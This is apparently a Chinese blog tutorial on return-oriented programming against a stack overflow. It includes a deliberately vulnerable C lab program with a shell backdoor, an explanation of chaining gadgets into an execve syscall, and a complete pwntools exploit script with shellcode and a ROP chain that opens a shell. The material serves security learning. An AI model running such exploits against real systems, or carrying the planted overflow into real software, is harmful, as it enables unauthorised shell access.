栈溢出学习(三)之简单ROP

前言

栈溢出学习(三),讲述简单ROP实现栈溢出的原理及其实践方法

样例代码

本文使用的代码如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 *  gcc    -O0     -fno-stack-protector    -no-pie     -z execstack      -m32   -g  -o lab0 lab0.c
          优化等级      关闭canary         关闭地址随机化   关闭NX      生成32位程序

 */

void shell()//backdoor
{
        printf("You got it\n");
        system("/bin/sh");
}


void hello(char* name)
{
  char buf[20];
  strcpy(buf,name);
  puts("hello!!!");
  printf("i am  %s ",buf);
}

void main(int argc,char** argv)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);
  char buf[100];
  puts("*****************************************");
  puts("PWN,hello world!");
  gets(buf);
  hello(buf);

}

0x05 ROP

  • 当前环境:未开启优化,关闭canary,关闭地址随机化,32位程序
  • 目标:修改返回地址,让其指向内存中已有的一段指令

原理

这里借用长亭科技对ROP原理的阐述

payload : padding + address of gadget 1 + address of gadget 2 + ......+ address of gadget n

在这样的构造下,被调用函数返回时会跳转执行 gadget 1,执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据(也就是 gadget 2 的地址)弹出至 eip,程序继续跳转执行 gadget 2,以此类推
在这里插入图片描述
ROP最常见的效果是实现一次系统调用,在Linux系统下对应的是int 0x80中断。执行这条指令之前,我们需要将需要调用的函数的编号存入eax,调用参数按顺序存入ebx,ecx,edx,esi,edi

系统调用编号参考

我们一般要找内存中寻找类似于pop eax;ret的指令,来完成ROP链的拼接,举个例子,如下图。当程序跳转到pop eax;ret的地址时,pop eax将会把栈上的值赋给eax,也就是将图中的param for eax,我们将需要赋予eax的值放到param for eax即可
在这里插入图片描述
因此,ROP攻击中栈的简要示意图如下
在这里插入图片描述

补充:惯用绕过NX保护的套路是,调用mprotect()为栈开启可执行权限,之后执行shellcode

实现

  • 注意:int 0x80调用是从左至右依次传参,与普通函数的由右往左依次传参不同

我们计划调用的函数为sys_execve,查看syscall Reference,发现该参数需要调用5个寄存器
在这里插入图片描述
因此我们需要寻找

pop eax;ret
pop ebx;ret
pop ecx;ret
pop edx;ret
pop esi;ret
address of int 0x80
address of "/bin/sh"
address of "NULL"
address of "0x0b"

1.找各种pop ret,演示eax,其他同理
在这里插入图片描述

2.找address of int 0x80
在这里插入图片描述
3.找address of "/bin/sh"
在这里插入图片描述
4.找address of "NULL"
在这里插入图片描述
5.找address of "0x0b"
在这里插入图片描述

payload

from pwn import *

local = True
debug = True

shellcode = b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
nop = b'\x90' * 12

padding1 = b'a'*32
padding2 = b'b'*4

esiaddr = p32(0xf7def706)

edxaddr = p32(0xf7dd8aae)
nulladdr = p32(0x8048105)

ecxaddr = p32(0xf7f696d5)

ebxaddr = p32(0xf7defbe5)
binshaddr = p32(0xf7f550cf)

eaxaddr = p32(0xf7dfbb5e)
noaddr = p32(0x80481b0)

int80 = p32(0xf7e048a5)

if local:
    io = process('./lab1')
else:
    io = remote(ip,port)


if debug:
    context.log_level = 'debug'

io.recvuntil('world!')

#input()
gdb.attach(io)
input()

payload = padding1 + eaxaddr + noaddr
payload += ebxaddr + binshaddr
payload += ecxaddr + nulladdr
payload += edxaddr + nulladdr
payload += esiaddr + nulladdr
payload += int80


io.sendline(payload)
io.interactive()

结果

在这里插入图片描述

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值